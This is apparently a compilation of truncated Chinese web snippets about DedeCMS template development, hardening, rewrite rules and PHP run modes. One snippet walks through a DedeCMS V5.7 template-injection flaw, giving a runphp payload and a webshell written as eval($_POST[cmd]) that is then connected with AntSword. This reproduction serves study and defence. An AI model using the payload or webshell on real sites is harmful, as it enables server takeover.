（dede）织梦系统二次开发记录 –soulsjie 一、模板常用文件说明 模板文件都在文件夹templets下，我们以默认模板（default）为例，对模板文件结构进行分析： 首页模板文件目录 \templets...文章点击调用标签： 收藏] [推荐] [<a href=”{dede:field name=’phpurl’/}/feedback.php?
从目前来看，有大量的中小型企业选择利用dede模板，建立企业网站，而在这个过程中，一个非常重要的问题就是企业网站首页的设计与优化。...44.png 那么，Dede模板，企业首页如何设计与优化？...2、首页导航 相当于一个企业网站而言，除电子商务网站之外，首页导航的目标点击版块，一般而言都是有限，而在网站导航设计中，一般dede模板中，你需要： ①理论上整站栏目都应该在导航中体现。...4、首页弹窗 在dede模板中，早期网站运营人员，最常用的一个方式就是加入广告弹窗代码，主要的用途包括： ①添加网站即时沟通组件 ②添加SEO联盟的流量代码，用于商业变现。...总结：Dede模板首页相关的设计与SEO，仍然有诸多细节，而上述内容，仅供参考，更多优质内容，尽在SEO优化课程。
如何运行php代码 相信不少初学者会遇到不知道如何运行php这个尴尬的问题，小白博主就来一次比较详细的介绍 第一步：下载Wampserver warmserver提供了php运行的环境，安装的步骤这里就不给出了...http://www.wampserver.com/ 下载Wampserver传送门 ---- 第二步：写一段简单的php代码 <?...php echo "Hello World!"; ?> 我是用notepad++文本编辑器写的，可以把这个文件暂时保存在桌面。...注意命名为.php文件 ---- 第三步：打开Wampserver 找到Wampsertver的图标，左键，找到www目录，点击 ---- 把刚才写的php文件拖进去，我刚才写的文件名字叫做...new 1.php ---- ---- 第四步：打开浏览器 在浏览器输入：localhost/new 1.php 就可以看到效果了 版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人
所以为了避免这种情况的发生，本站整理以一些关于“Dede织梦网站被挂马原因及解决办法”能帮助到大家。...Dede织梦网站被挂马的原因 要解决Dede织梦网站被挂马问题，我们得先来了解一下，网站为什么会被挂马，被挂马的原因有哪些： 1. 网站程序版本过低，存在漏洞和BUG； 2....media_add.php media_edit.php media_main.php 不需要SQL命令运行器，将 dede/sys_sql_query.php 文件删除。...删除空间网站程序所有文件，从本地网站模板完善后重新上传安装；这种方法是最干净利落的解决办法；只不过操作麻烦了一点，但是能见到奇效！...具体方法：备份模板-备份主机和本地数据库-打包压缩原来数据-删除元数据-（提前设计好各项新密码）更改数据库密码，主机密码，FTP密码-重新上传底包到空间-重新安装-重新恢复数据库-修改安全项目。
2：权限设置： data/、744 可读 可写 可执行 templets/、744 可读 可写 可执行 （经常不修改模板的用户，建议设置不可写，修改试在开启） Dede/（后台文件夹） 555 可读取...【邮件发送】 dede/media_add.php 【视频控制文件】 dede/media_edit.php 【视频控制文件】 dede/media_main.php【视频控制文件】 dede/mytag_add.php...】 dede/mytag_tag_guide_ok.php 【自定义标记管理】 dede/spec_add.php、spec_edit.php【专题管理】 dede/file_xx .php开头的系列文件及...tpl.php【文件管理器，安全隐患很大】 dede/soft_add.php、dede/soft_config.php、dede/soft_edit.php 【软件下载类，存在安全隐患】 以dede/... 【专题管理】 以dede/templets_xx .php开头的系列文件 【模板管理，可以保留】 dede/vote_add.php、vote_edit.php、vote_getcode.php
上图是用户一大早就个发给织梦模板的截图，这种图说明一个问题：用户的织梦网站首页被挂马了。网站首页标题关键字描述遭到了恶意篡改。.../、744 可读 可写 可执行 （经常不修改模板的用户，建议设置不可写，修改试在开启） Dede/（后台文件夹） 555 可读取 可执行 不可写入 include/ 555 可读 可执行 不可写入... dede/file_manage_view.php 【邮件发送】 dede/media_add.php 【视频控制文件】 dede/media_edit.php 【视频控制文件】 dede...、spec_edit.php【专题管理】 dede/file_xx .php开头的系列文件及tpl.php【文件管理器，安全隐患很大】 dede/soft_add.php、dede/soft_config.php...php开头的系列文件 【商城系统】 dede/spec_add.php、spec_edit.php 【专题管理】 以dede/templets_xx .php开头的系列文件 【模板管理
而后，除了我们的模版文件，一共需要修改系统的五个文件： 1：/dede/catalog_add.php 增加栏目文件 2：/dede/catalog_edit.php 修改栏目文件 3：/dede/templets.../catalog_add.htm 增加栏目文件 4：/dede/templets/catalog_edit.htm 修改栏目文件 5：/nclude/taglib/channel.lib.php 字段调用文件...打开 /dede/catalog_add.php 查找：(reid,topid,sortrank,typename,typedir, 修改为：(reid,topid,sortrank,typename.../catalog_edit.php 搜索：$upquery = "UPDATE `dede_arctype` SET 在其下方添加：`typeimg`='$typeimg', -------------..."class="coolbg np" style="width:60px" onClick="SelectImage('form1.typeimg','small');" />(栏目模板里用{dede:
SQL语句： 将所有文档设置为“仅动态”， update dede_archives set ismake=-1 将所有栏目设置为“使用动态页”， update dede_arctype set.../dede/templets/文件下。 将要发布的文章类型的模板代码改下就可以实现以后发布文章就是动态显示，不用在一个一个修改，实现默认动态浏览。...RewriteRule ^(.*)/plus/list-([0-9]+)\.html $1/plus/list\.php\?...tid=$2 #RewriteRule ^(.*)/plus/list-([0-9]+)-([0-9]+)-([0-9]+)\.html $1/plus/list\.php\?....*)/plus/view-([0-9]+)-([0-9]+)\.html $1/plus/view\.php\?
2、DedeCms dedecms模板制作采用自己设计的一套标签，由标签名，属性，和InnerText构成，下面以织梦最常用的dede:list标签为例进行演示。...] [field:pubdate/] {/dede:list} dede有自己的一套标签语法，相对于pageadmin的razor语法来说，灵活度没有那么好...3、Wordpress wordpress没有模板标签，制作模板完全采用php编程，对于没有后端编程基础的前端人员来说，制作模板是很头疼的事情，下面还是以调用文章列表为例演示。 ”> wordpress的模板制作需要结合php编程，模板制作是最复杂的，没有php基础的用户来说制作模板就是噩梦。
之后在L18引入了arc.partview.class.php文件，该文件为一个视图类文件，也是后续模板解析的重要文件之一： ?...之后跟进SetTemplet函数(DedeCMS-V5.7-UTF8-SP2\uploads\include\arc.partview.class.php)，可以看到该函数主要用于设置解析模板，此时的temp...PHP代码，在这里，只是简单的将数据从对象中提取出来，做一些简单的字符串替换，便可成功执行代码，综上，我们传入的$phpcode变量的值应该符合dedecms模板格式，且带有runphp='yes'标签...故而可以构造以下payload： {dede:field name='source' runphp='yes'}phpinfo();{/dede:field} 漏洞复现 进入Dedecms后台选择模板管理...php eval($_POST[cmd]);?>');{/dede:field} ? 保存之后访问web主页： ? 之后在网站DedeCMS目录下成功写入shell.php: ? 使用蚁剑连接： ?
templets_*.php 模板管理功能，老手建议删除，使用FTP管理 /dede/media_*.php 附件数据管理功能文件，易被挂马，删除(用你的FTP管理文件就可以了，别用这个) /dede/.../dede/story_*.php 小说功能，可删除 /dede/erraddsave.php 纠错功能，可删除 /dede/feedback_*.php 评论管理，可删除 /dede/group_*...企业站一般不用可删除 /dede/spec_*.php 专题管理，没有专题页面，可删除 /dede/vote_*.php 投票功能，可删除 /dede/sys_sql_query.php SQL命令运行器...action=single&key=admcploginad&charset=gbk"> ② dede empletsindex_body.htm（织梦的后台首页模板文件...RewriteEngine on #安全设置 禁止以下目录运行指定php脚本 RewriteCond % !^$ RewriteRule a/(.*).
文章动态浏览数<script src="{<em>dede</em>:field name='phpurl'/}/count.<em>php</em>?...empty($maintable) and $view=='yes') 第二步：打开<em>模板</em>文章列表页list_article.htm,在要显示浏览次数的地方，加上如下代码： 第三步：打开<em>模板</em>文章页...article_article.htm,在要显示浏览次数的地方，加上如下代码： <script src="{dede:field name='phpurl'/}/count.php?
3、cli模式 cli是php的命令行运行模式，大家经常会使用它，但是可能并没有注意到（例如：我们在linux下经常使用 "php -m"查找PHP安装了那些扩展就是PHP命令行运行模式；有兴趣的同学可以输入...php -h去深入研究该运行模式） 4、模块模式 模块模式是以mod_php5模块的形式集成，此时mod_php5模块的作用是接收Apache传递过来的PHP文件请求，并处理这些请求...首先我们需要在Apache的配置文件httpd.conf中添加一行： 该运行模式是我们以前在windows环境下使用apache服务器经常使用的，而在模块化(DLL)中，PHP是与Web服务器一起启动并运行的...（是apache在CGI的基础上进行的一种扩展，加快PHP的运行效率） [plain] view plain copy print ?...5、php 在nginx 中运行模式(nginx+PHP-FPM ) 使用FastCGI方式现在常见的有两种stack：ligthttpd+spawn-fcgi;另外一种是nginx+PHP-FPM
PHP运行模式有4钟： 1）cgi 通用网关接口（Common Gateway Interface)） 2） fast-cgi 常驻 (long-live) 型的 CGI 3） cli 命令行运行...CLI模式 cli是php的命令行运行模式，大家经常会使用它，但是可能并没有注意到（例如：我们在linux下经常使用 "php -m"查找PHP安装了那些扩展就是PHP命令行运行模式；有兴趣的同学可以输入...php -h去深入研究该运行模式） 1.让 PHP 运行指定文件。...php script.php php -f script.php 以上两种方法（使用或不使用 -f 参数）都能够运行脚本的script.php。...您可以选择任何文件来运行，您指定的 PHP 脚本并非必须要以 .php 为扩展名，它们可以有任意的文件名和扩展名。 2.在命令行直接运行 PHP 代码。
/} 模板路径：{dede:global.cfg_templets_skin/} 调用页面：{dede:include filename="head.htm"/} 网站编码：{dede:global.cfg_soft_lang...get='next'/} 点击量：<script src="{<em>dede</em>:field name='phpurl'/}/count.<em>php</em>?...多列方式显示 row='10' 返回文档列表总数 typeid='' 栏目ID,在列表<em>模板</em>和档案<em>模板</em>中一般不需要指定，在首页<em>模板</em>中允许用","分开表示多个栏目； getall='1' 在没有指定这属性的情况下...，因此支持使用PHP语法，Function扩展等功能。...的情况下，type标记与模板的环境有关，如，模板生成到栏目一，那么type='son'就表示栏目一的所有子类
DedeCMS搭建网站的时候，都希望能够在文章内容页底部调用几篇与本篇文章相关的文章，这样不但可以去除DEDECMS默认模版原有的生硬，增加美观度，而且对SEO优化和提升网站PV也有很大的帮助，织梦文章内容页默认模板缺少相关文章...那么，如何实现在DEDECMS织梦模板调用全站相关文章呢？...要想实现在DEDECMS织梦模板实现调用全站相关文章，方法其实很简单，只需要在文章模版article_article.htm和标签likearticle.lib.php文件中添加或者修改几处代码就可以了...标签名称：likearticle.lib.php 功能说明：自动关连文档标签 适用范围：内容页使用 1、ikearticle.lib.php标签文件中织梦相关文章调用参数填充 登录网站管理后台在“标签源码管理...”中找到likearticle.lib.php文件，然后找到以下相关参数代码： {dede:likearticle row=” col=” titlelen=” infolen=”} 织梦相关文章调用参数说明
前面提示：1、系统，基本参数，点【确认】按钮一次 (搬家恢复数据后必须要点一次)；2、频道封面的栏目，必须要有“列表模板”存在，如果没有可以把高级选项的“列表模板”填上为“封面模板”；3、确认你的模板是...解决方法如图打开 /include/arc.listview.class.php 找到，大概在235行左右list_default.htm在它上面加入一行echo $this->Fields['typename...解决方法如图打开 /include/arc.archives.class.php 找到，大概在558行左右article_default.htm在它上面加入一行echo $GLOBALS['cfg_basedir...，也可能无记录无记录出来不需要执行这一步，有记录的话继续在命令行里输入DELETE FROM dede_addonarticle WHERE aid = 2;dede_addonarticle 就是上面第一次查询出来的附加表名...，改成你查询到的aid = 2 这个2改成你记下的文档id，千万别弄错了继续执行这2行DELETE FROM `dede_archives` WHERE id = 2;DELETE FROM `dede_arctiny
，模板制作这块就灵活很多了，dede等cms现在每个模板都是完整的html页面，wp做模板要懂php，azor语法w3school有教程，就两篇文章很容易学会，模板标签内部支持计算，可以和html互相结合...作为国内最早一批的CMS，dede积累了大量用户，模板程度异常发达，随意搜索模板就有几百、几千套，但是模板质量普遍不高，很多都是10年前的，框架和样子已经很难满足现在网站的需求了，现在都是css3和html5...模板制作简易度：三颗星★★★☆☆ dede做模板有自己的调用标签，相对pageadmin来说，dede的标签有点难用，不支持页面包含，标签不支持计算，变量等等操作，需要些php代码来结合实现，但是dede...总体评价：★★★☆☆ 个人站，文章站点、新闻站点还是很适合的，如果有点php基础更好，可以在做二次开发，总体来说dede在有php基础的前提下，可以结合自己的一些改进，还是可以用于一些大型网站的。...上手简易度：一颗心★☆☆☆☆ 越来越像CMS的博客系统，也导致了越来越臃肿，毕竟是老外开发的系统，在上手度上还是有一定的难度，初次使用的新手可能都不知道插件，主题是什么，而且改模板几乎是全PHP代码，更别提伪静态
织梦官方在 2015 年 6 月 18 日更新了织梦 5.7，为了兼容 php5.4+，修改了 /include/common.func.php，可能有些模板也改动过这个文件，这样会导致在安装模板时，/...include/common.func.php 文件被覆盖，从而在发布文章时、打开文件管理器对文件进行编辑时、增加自定义表单时等，会出现“Call to undefined function dede_htmlspecialchars...解决办法如下： 打开 /include/common.func.php，搜索“function RunApp”，在这个函数的上面添加织梦新版本新增的函数：dede_htmlspecialchars，具体代码如下...： function dede_htmlspecialchars($str) { global $cfg_soft_lang; if (version_compare(PHP_VERSION
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
即时通信 IM
实时音视频
